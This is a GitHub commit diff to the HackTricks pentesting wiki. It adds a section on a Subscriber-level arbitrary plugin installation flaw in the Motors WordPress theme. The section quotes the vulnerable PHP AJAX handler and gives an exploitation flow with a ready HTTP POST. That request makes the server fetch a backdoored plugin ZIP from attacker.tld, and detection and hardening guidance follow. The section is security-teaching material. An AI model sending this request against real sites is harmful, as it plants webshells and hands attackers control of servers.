Skip to content

Commit ebc34fd

Browse files
authored
Merge pull request #1694 from HackTricks-wiki/update_Critical_Arbitrary_File_Upload_Vulnerability_in_Mo_20251218_124034
Critical Arbitrary File Upload Vulnerability in Motors Theme...
2 parents dce1c79 + 1b6392f commit ebc34fd

File tree

3 files changed

+56
-0
lines changed

3 files changed

+56
-0
lines changed

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -375,6 +375,7 @@
375375
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
376376
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
377377
- [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
378+
- [Inputmethodservice Ime Abuse](mobile-pentesting/android-app-pentesting/inputmethodservice-ime-abuse.md)
378379
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
379380
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
380381
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)

src/mobile-pentesting/android-app-pentesting/inputmethodservice-ime-abuse.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -81,3 +81,4 @@ adb shell ime help
8181
- **User/MDM**: allowlist trusted keyboards; block unknown IMEs in managed profiles/devices.
8282
- **App-side (high risk apps)**: prefer phishing-resistant auth (passkeys/biometrics) and avoid relying on “secret text entry” as a security boundary (a malicious IME sits below the app UI).
8383

84+
{{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/wordpress.md

Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -862,6 +862,59 @@ Hardening
862862
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
863863
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
864864

865+
### Subscriber+ AJAX plugin installer → forced malicious activation (Motors Theme ≤ 5.6.81)
866+
867+
[Patchstack's analysis](https://patchstack.com/articles/critical-arbitrary-file-upload-vulnerability-in-motors-theme-affecting-20k-sites/) showed how the Motors theme ships an authenticated AJAX helper for installing its companion plugin:
868+
869+
```php
870+
add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');
871+
872+
function mvl_theme_install_base() {
873+
check_ajax_referer('mvl_theme_install_base', 'nonce');
874+
875+
$plugin_url = sanitize_text_field($_GET['plugin']);
876+
$plugin_slug = 'motors-car-dealership-classified-listings';
877+
878+
$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
879+
$upgrader->install($plugin_url);
880+
mvl_theme_activate_plugin($plugin_slug);
881+
}
882+
```
883+
884+
- Only `check_ajax_referer()` is called; there is no `current_user_can('install_plugins')` or `current_user_can('activate_plugins')`.
885+
- The nonce is embedded in the Motors admin page, so any Subscriber that can open `/wp-admin/` can copy it from the HTML/JS.
886+
- The handler trusts the attacker-controlled `plugin` parameter (read from `$_GET`) and passes it into `Plugin_Upgrader::install()`, so an arbitrary remote ZIP is downloaded into `wp-content/plugins/`.
887+
- After installation the theme unconditionally calls `mvl_theme_activate_plugin()`, guaranteeing execution of the attacker plugin's PHP code.
888+
889+
#### Exploitation flow
890+
891+
1. Register/compromise a low-privileged account (Subscriber is enough) and grab the `mvl_theme_install_base` nonce from the Motors dashboard UI.
892+
2. Build a plugin ZIP whose top-level directory matches the expected slug `motors-car-dealership-classified-listings/` and embed a backdoor or webshell in the `*.php` entry points.
893+
3. Host the ZIP and trigger the installer by pointing the handler to your URL:
894+
895+
```http
896+
POST /wp-admin/admin-ajax.php HTTP/1.1
897+
Host: victim.tld
898+
Cookie: wordpress_logged_in_=...
899+
Content-Type: application/x-www-form-urlencoded
900+
901+
action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip
902+
```
903+
904+
Because the handler reads `$_GET['plugin']`, the same payload can also be sent via the query string.
905+
906+
#### Detection checklist
907+
908+
- Search themes/plugins for `Plugin_Upgrader`, `Theme_Upgrader`, or custom `install_plugin.php` helpers wired to `wp_ajax_*` hooks without capability checks.
909+
- Inspect any handler that takes a `plugin`, `package`, `source`, or `url` parameter and feeds it into upgrader APIs, especially when the slug is hard-coded but the ZIP contents are not validated.
910+
- Review admin pages that expose nonces for installer actions—if Subscribers can load the page, assume the nonce leaks.
911+
912+
#### Hardening
913+
914+
- Gate installer AJAX callbacks with `current_user_can('install_plugins')` and `current_user_can('activate_plugins')` after nonce verification; Motors 5.6.82 introduced this check to patch the bug.
915+
- Refuse untrusted URLs: limit installers to bundled ZIPs or trusted repositories, or enforce signed download manifests.
916+
- Treat nonces strictly as CSRF tokens; they do not provide authorization and should never replace capability checks.
917+
865918
---
866919

867920
## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
@@ -931,5 +984,6 @@ Hardening
931984
- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
932985
- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
933986
- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
987+
- [Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites](https://patchstack.com/articles/critical-arbitrary-file-upload-vulnerability-in-motors-theme-affecting-20k-sites/)
934988

935989
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)